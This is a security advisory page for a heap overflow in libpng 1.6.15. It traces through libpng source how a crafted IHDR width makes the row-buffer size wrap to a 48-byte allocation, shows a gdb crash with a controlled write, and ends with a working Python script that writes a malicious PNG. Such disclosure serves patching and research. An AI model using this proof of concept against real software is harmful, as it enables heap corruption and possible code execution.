libpng 1.6.15 Heap Overflow

2014-12-23 / 2015-01-23
Credit: Alex Eubanks
Risk: High
Local: Yes
Remote: No
CWE: CWE-119


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

/********************************* * Alex Eubanks * * endeavor@rainbowsandpwnies.com * * libpng 1.6.15 heap overflow * * 18 December 2014 * *********************************/ /************* * A foreword * *************/ // this bug was found with american fuzzy lop! thanks lcamtuf! /* * We will trigger a call to zlib which will decompress data from an IDAT chunk * into a heap-buffer of 48 bytes. The size of this heap-buffer does not depend * on the amount of data we decompress into it. * * In some cases, like my case (programs are wonderful creations), this may * allow for a controlled write. * * My environment is * user@debian:~$ uname -a * Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.63-2+deb7u2 i686 GNU/Linux * * Example code to trigger this overflow is available at the end of this post. * Simply set OVERFLOW_DATA to what you want to overflow the heap with. */ Program received signal SIGSEGV, Segmentation fault. 0xb7eb4f71 in ?? () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 (gdb) x/i $pc => 0xb7eb4f71: movdqu %xmm0,(%esi) (gdb) i r esi esi 0x41414141 1094795585 (gdb) i r xmm0 xmm0 {v4_float = {0xc, 0xc, 0xc, 0xc}, v2_double = {0x228282, 0x228282}, v16_int8 = {0x41 <repeats 16 times>}, v8_int16 = {0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141}, v4_int32 = {0x41414141, 0x41414141, 0x41414141, 0x41414141}, v2_int64 = {0x4141414141414141, 0x4141414141414141}, uint128 = 0x41414141414141414141414141414141} /*************** * The overflow * ***************/ # pngrutil.c :: png_read_IDAT_data :: line 4018 /* * At the time of this call, * png_ptr->zstream->avail_out = 0x20000000 * png_ptr->zstream->avail_in = size of our compressed IDAT data * png_ptr->zstream->next_in = our compressed IDAT data * png_ptr->zstream->next_out = a pointer to row_buf, 31 bytes in big_row_buf */ ret = inflate(&png_ptr->zstream, Z_NO_FLUSH); /******* * IHDR * *******/ [0-3] = png_ptr->width // 0x20000000 [4-7] = png_ptr->height // 0x00000020 [8] = png_ptr->bit_depth // 0x10 [9] = png_ptr->color_type // 0x06 [10] = png_ptr->compression_type // 0x00 [11] = png_ptr->filter_type // 0x00 [12] = png_ptr->interlace_type // 0x01 /********************* * png_read_IDAT_data * *********************/ # pngrutil.c :: png_read_IDAT_data :: line 3941 void /* PRIVATE */ png_read_IDAT_data(png_structrp png_ptr, png_bytep output, png_alloc_size_t avail_out) / * png_bytep output * \-> a buffer to decompress the IDAT data into * png_alloc_size_t avail_out * \-> The size of output in bytes */ # pngrutil.c :: png_read_IDAT_data :: line 3984 buffer = png_read_buffer(png_ptr, avail_in, 0/*error*/); # pngrutil.c :: png_read_IDAT_data :: line 3989 png_ptr->zstream.next_in = buffer; # pngrutil.c :: png_read_IDAT_data :: line 3946 png_ptr->zstream.next_out = output; # pngrutil.c :: png_read_IDAT_data :: line 4002 png_ptr->zstream.avail_out = out; pngrutil.c :: png_read_IDAT_data :: line 4018 ret = inflate(&png_ptr->zstream, Z_NO_FLUSH); /********************************* * The call to png_read_IDAT_data * *********************************/ # pngread.c :: png_read_row :: line 534 png_read_IDAT_data(png_ptr, png_ptr->row_buf, row_info.rowbytes + 1); # pngrutil.c :: png_read_IDAT_data :: line 3941 void /* PRIVATE */ png_read_IDAT_data(png_structrp png_ptr, png_bytep output, png_alloc_size_t avail_out) /***************************** * deriving row_info.rowbytes * *****************************/ # pngread.c :: png_read_row :: line 397 row_info.rowbytes = PNG_ROWBYTES(row_info.pixel_depth, row_info.width); /************************************ * deriving row_info.rowbytes * * \-> deriving row_info.pixel_depth * ************************************/ # pngread.c :: png_read_row :: line 396 row_info.pixel_depth = png_ptr->pixel_depth; // row_info.pixel_depth is set in png_handle_IHDR # pngrutil.c :: png_handle_IHDR :: line 855 png_ptr->pixel_depth = (png_byte)(png_ptr->bit_depth * png_ptr->channels); // where png_ptr->bit_depth = IHDR[8], or 0x10 // channels is set by the following logic based off // IHDR->color_type, or 0x6 if (color_type == PNG_COLOR_TYPE_RGB) // 2 png_ptr->channels = 3 else if (color_type == PNG_COLOR_TYPE_GRAY_ALPHA) // 4 png_ptr->channels = 2 else if (color_type == PNG_COLOR_TYPE_RGB_ALPHA) // 6 png_ptr->channels = 4 else png_ptr->channels = 1 // row_info.pixel_depth = 0x10 * 4 /************************************ * deriving row_info.rowbytes * * \-> deriving row_info.width * ************************************/ # pngread.c :: png_read_row :: line 392 row_info.width = png_ptr->iwidth; /* NOTE: width of current interlaced row */ // png_ptr->iwidth is set in png_read_start_row // cliff notes here are, during the first interlace pass, width will be // divided by 8, so 0x20000000 becomes 0x4000000 // actual computation is ((0x20000000 + 8 - 1 - 0) / 8) # pngrutil.c :: png_read_start_row :: line 4217 png_ptr->iwidth = (png_ptr->width + // png_ptr->width = 0x20000000 png_pass_inc[png_ptr->pass] - 1 - png_pass_start[png_ptr->pass]) / png_pass_inc[png_ptr->pass]; // png_ptr->iwidth = 0x4000000 // back to our original call for row_info.rowbytes # pngread.c :: png_read_row :: line 397 row_info.rowbytes = PNG_ROWBYTES(row_info.pixel_depth, row_info.width); # pngpriv.h :: line 659 /* Added to libpng-1.2.6 JB */ #define PNG_ROWBYTES(pixel_bits, width) \ ((pixel_bits) >= 8 ? \ ((png_size_t)(width) * (((png_size_t)(pixel_bits)) >> 3)) : \ (( ((png_size_t)(width) * ((png_size_t)(pixel_bits))) + 7) >> 3) ) // row_info.rowbytes = 0x4000000 * ((64) >> 3) = 0x20000000 // row_info.rowbytes = 0x20000000 /**************************** * deriving png_ptr->row_buf * ****************************/ # pngstruct.h :: line 225 // inside struct png_struct_def, which is png_ptr png_bytep row_buf; /* buffer to save current (unfiltered) row. * This is a pointer into big_row_buf */ # pngrutil.c :: png_read_start_row :: line 4403 png_ptr->big_row_buf = (png_bytep)png_malloc(png_ptr, row_bytes + 48); // there are a couple #ifdef cases for png_ptr->row_buf to be set from, // but this summarizes nicely # pngrutil.c :: png_read_start_row :: line 4427 png_ptr->row_buf = png_ptr->big_row_buf + 31; /**************************** * deriving png_ptr->row_buf * * \-> deriving row_bytes * ****************************/ # pngrutil :: png_read_start_row :: line 4427 row_bytes = ((png_ptr->width + 7) & ~((png_uint_32)7)); /* Calculate the maximum bytes needed, adding a byte and a pixel * for safety's sake */ row_bytes = PNG_ROWBYTES(max_pixel_depth, row_bytes) + 1 + ((max_pixel_depth + 7) >> 3); // cliff notes, based on our IHDR color_type being // PNG_COLOR_TYPE_RGB_ALPHA, max_pixel_depth = 64 row_bytes = 0x20000000 * (64 >> 3) = 0; // this makes the size of the malloc call to png_malloc 48, which means // malloc doesn't fail, returns valid pointer into the heap // png_ptr->big_row_buf = png_malloc(png_ptr, 48) ################## # HAPPY FUN CODE # ################## import zlib import struct import sys OVERFLOW_DATA = 'A' * 4096 IDAT_DATA = zlib.compress(OVERFLOW_DATA) IDAT_SIZE = struct.pack('>i', len(IDAT_DATA)) IDAT_CRC32 = struct.pack('>i', zlib.crc32('IDAT' + IDAT_DATA)) HEADER = '\x89\x50\x4e\x47\x0d\x0a\x1a\x0a' IHDR = '\x00\x00\x00\x0d\x49\x48\x44\x52\x20\x00\x00\x00\x00\x00\x00\x20\x10\x06\x00\x00\x01\xa8\xce\xde\x04' IDAT = IDAT_SIZE + 'IDAT' + IDAT_DATA + IDAT_CRC32 IEND = '\x00\x00\x00\x00\x49\x45\x4e\x44' sys.stdout.write(HEADER + IHDR + IDAT + IEND)

References:

http://seclists.org/oss-sec/2014/q4/1133


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top